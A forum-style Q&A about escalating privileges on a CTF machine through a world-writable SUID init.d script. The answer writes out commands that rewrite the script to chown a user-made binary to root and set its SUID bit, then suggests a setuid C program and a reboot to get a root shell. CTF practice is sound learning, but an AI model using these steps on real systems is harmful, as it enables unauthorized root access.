How to use a sh SUID script to get privilege escalation?

Question

As www-data user (non-privileged user) I have found this SUID, world-writable shell script:

www-data@Cisco:/home/cripto$ ls -al /etc/init.d/admin
-rwsr-xrwx 1 root bob 233 Nov 12 13:09 /etc/init.d/admin

It's part of a CTF machine. The content is trivial, it does nothing useful at all (it seems like it is only a boilerplate template):

#!/bin/sh
# /etc/init.d/admin


case "$1" in
   start)
    echo "[i] Start admin Area"


    ;;
   stop)
    echo "[i] Stop admin Area"

        ;;
   *)
    echo "Usage: /etc/init.d/admin {start|stop}"
    exit 1
    ;;  
esac
exit 0

But I suspect that this script could help me to elevate my privileges. I have been reading about it here:

Dangers of SUID Shell Scripts

and here

Exploiting init.d for Fun and Profit

But:

• The machine can't be rebooted (that was my first idea, editing the script so that it creates a privileged shell in /tmp and forcing a reboot)
• The positional parameter $1 seems to be non-injectable (I tried to fool the case "$1" passing different arguments from command line, like ./admin "hi; id" and similar things, to no avail)

I wonder if there are some environment variables that I could exploit. Or some kind of tampering that I could force manipulating the IFS variable. Any ideas about how this kind of SUID scripts could be exploitable?

Answer 1

Multiple things can be done to this file to help you get further. By change can you do the following add to the file the following

echo '#!/bin/sh'|tee admin && echo 'chattr -i /home/(your user)/(file of your chosing)'|tee -a admin

echo 'chown root:root /home/(Your User)/(file you create)' | tee -a admin && echo 'chmod 4755 /home/(your user)/(Your file)'|tee -a admin

Then on your user home directory create a simple c file to setgid and setguid. Compile to the name listed in the script above and then reboot. This will run the file and change the owner to root with guid set.

Then it's simple ./file and then fun.